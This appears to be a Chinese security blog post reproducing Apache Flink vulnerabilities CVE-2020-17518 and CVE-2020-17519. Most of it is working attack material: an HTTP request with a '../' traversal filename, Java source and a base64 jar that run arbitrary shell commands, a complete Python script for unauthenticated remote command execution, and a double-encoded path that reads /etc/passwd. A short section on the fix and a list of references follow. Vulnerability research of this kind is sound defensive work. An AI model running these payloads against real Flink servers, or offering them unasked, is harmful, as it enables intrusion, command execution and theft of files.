漏洞复现:CVE-2020-17518 Apache Flink 目录遍历漏洞

漏洞背景

2021年01月06日,Apache Flink发布了Apache Flink 目录穿越漏洞,目录穿越漏洞的风险通告,漏洞编号为CVE-2020-17518,CVE-2020-17519,漏洞等级:高危,漏洞评分:8.5

远程攻击者通过REST API目录遍历,可造成文件读取/写入的影响。

CVE-2020-17518: 文件写入漏洞

攻击者利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)。

CVE-2020-17519: 文件读取漏洞

Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的) 。

影响版本

CVE-2020-17519

Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

CVE-2020-17519

Apache:Apache Flink: 1.5.1 – 1.11.2

漏洞复现

CVE-2020-17518 任意文件写入漏洞

验证POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /jars/upload HTTP/1.1
Host: x.x.x.x:8081
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Referer: http://x.x.x.x:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: jNj0_2132_ulastactivity=94cd6XUujZO6Ir8Y402Py8R2hRo4k9SYYId68%2Bsj5Hj9wct3lwDn; jNj0_2132_lastcheckfeed=1%7C1603631734
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

利用条件:

  • Flink 1.9.x 版本
  • 唯一优点:相比直接上传jar包,有了隐蔽性。

参考文章中,直接上传jsp,web目录下不解析,会作为文件下载。

准备Jar包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.File;
import java.util.Scanner;

public class Execute {
public Execute() {
}

public static void main(String[] args) throws Exception {
String o = "";
String cmd = args[0];
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
String pty = "/bin/sh";
if ((new File("/bin/bash")).exists()) {
pty = "/bin/bash";
}
p = new ProcessBuilder(new String[]{pty, "-c", cmd});
}

Process s = p.start();
Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A");
c.close();
}
}

将源码进行编译并打包为jar包,

Base64之后的jar包:

1
UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcVtFp4YudGsoR0rFHWnvKuhRcE9Fr4r7GlQ8UPFQQZ+KRxqq0C+HARWDMvRYwZCGJ3iqoQ7DKkakHZXDmIJxBRMM8UHHdcQQQyTZvsgQHfVWOUN12nH5bCGf5f6Clc1xCuQtx2WoTy6nN6x3VipnuWspU/iOuzYgiZWmsOzNGWsrxJNABZOklEEb37H5lnA8N1DwjOamV/BtPuHIrPr4DrcLgnfLnDou4woDGBQv6HatPKWZ0vEc0zrSmCGJ246rYxZzDI0nIuZ9z+ZBMFJwcqvcZ6g5r4/y2fnVbr5DBctStizTQr5U1nFTwTqJCAmOl/qjqTwMZK1gXSLndbzASyJ2EdHEAkNtCC8IJ5cybct1ua/glY5FvJb4NwRdGdaRwZKOZdmP8rfHM8rmshvcFgwXSiwneU98x6t3trHdQPA8Q8UaF9T/FvfFLkNbssTelMpfIby0t839USsgWXXJkiDV9lxBmx4wNJ1OPLpu+SZ/W+CuzQfalxguJksfiTjfcQIRyKMlYbFAWL4g+Em5k92jerXnncSsov6m3K2CoLTcooYbiPxvu04FiN6YLBUIheiFgI/xnJN3hDwgt0ou03+7Sjljds4LOFpwiT5IeZWByUNK41WatZBlZGMdB2D7kCf3Go0awciJKOL0vTYTrCyE/6B5nOxHoyzdEemZMSKfES0iZsSLUPbQfAg1E/+K8kzE0MxM1KgwM7FO8wD67Cf0GpX90UNUZYzqA9QUUbsHxagm1zEnEZUc45jTVcQFGa/LJKjIxQPUGw1FNPbHErEiEvuymVBtD3QayxEh3Qq9N6CSfkHV6EMNJlGLafpbcPJuohHvkcAHWozrxGhF5Ai9Cm7QfYR6kPlF4aiCm/Qa3q0Ea6MnClp0epJh0fbfUEsDBAoAAAgAACJ1bU8AAAAAAAAAAAAAAAAJAAAATUVUQS1JTkYvUEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALgAAAFBLAQI/ABQAAAAIAASBJlLHe4y+9gIAAOgEAAANACQAAAAAAAAAIAAAAAAAAABFeGVjdXRlLmNsYXNzCgAgAAAAAAABABgAsQeXEAPk1gFyshItA+TWAdyLEi0D5NYBUEsBAgoACgAACAAAInVtTwAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAIQMAAE1FVEEtSU5GL1BLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAEgDAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwUGAAAAAAMAAwDcAAAAvgMAAAAA

link运行时文件都在/tmp目录下,路径类似于

1
/tmp/flink-web-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/

每台服务器运行Flink时路径都不同,因此要先获取该路径。

通过接口 /jobmanager/config 则可以获取web.tmpdir的路径。

我这里为:

1
/tmp/flink-web-2dc398da-fb29-4250-b9ef-68afe0dd08ab

上传jar包到/tmp/flink-web-2dc398da-fb29-4250-b9ef-68afe0dd08ab/flink-web-upload/目录下,

执行命令,反弹shell。

我手动复现了三次都没成功,用expdb里的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

def __init__(self, url):
self.url = url
self.timeout = 10
self.upload_file = 'rce_check_from_sec.jar'
self.headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/61.0 Safari/537.36'
}

@property
def get_version(self):
url = '%s/%s' % (self.url, 'config')
try:
res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
version = res.json().get('flink-version')
except:
version = 'unknown'
return version

@property
def jar_check(self):
url = '%s/%s' % (self.url, 'jars')
jar_list = []
try:
res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
res = res.json()
for file in res['files']:
if file['id'].endswith(self.upload_file):
jar_list.append(file['id'])
except Exception as e:
pass

return jar_list

@property
def jar_upload(self):
url = '%s/%s' % (self.url, 'jars/upload')
jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
'0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
'/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
'6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
'10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
'AAAAAAMAAwC4AAAArgQAAAAA')
files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

try:
res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
file_id = res.json()['filename'].split('/')[-1]
return file_id
except Exception as e:
res = False
return res

@property
# delete history jar packages
def jar_delete(self):
for jar_name in self.jar_check:
url = '%s//jars/%s' % (self.url, jar_name)
try:
requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
except:
pass
return

def rce(self, command):
jar_file = self.jar_upload
try:
execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
if res:
print('rce command "%s" exec result: %s' % (command, res))
state = 1
msg = '%s rce success' % self.url
else:
state = 0
msg = '%s rce failed' % self.url
except:
state = 0
msg = '%s rce failed' % self.url

delete = self.jar_delete

return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
usage = 'python3 script.py ip port command'
if len(sys.argv) != 4:
print('simple usage: %s' % usage)
else:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
url = 'http://%s:%s' % (ip, port)
res = FlinkRCECheck(url=url).rce(command=command)
print(res)

原来是要1.9.x 版本的。这里的版本是1.11.x了。懂怎么用就行了。。老sb了。

CVE-2020-17519 任意文件读取漏洞

1
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

漏洞修复

亘古不变的升级到最新版。(x。那这还学个屁。跟着commi ,简单分析下不香?

../进行了处理。希望不会像其他洞一样出现绕过的情况 :call_me_hand:

后面还对上传的文件大小、内容进行了一些判断,。代码太长了不想看。

我分析错了。具体看看:

https://www.anquanke.com/post/id/228507#h3-10

https://xz.aliyun.com/t/9023

参考资料

https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

https://www.anquanke.com/post/id/227630

https://www.freebuf.com/vuls/260257.html

https://www.exploit-db.com/exploits/48978

Author: m0nk3y
Link: https://hack-for.fun/16e0.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.